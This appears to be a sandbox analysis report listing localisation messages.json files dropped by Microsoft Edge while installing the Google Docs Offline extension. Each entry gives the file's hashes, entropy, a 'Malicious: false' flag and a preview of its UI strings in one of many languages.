SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
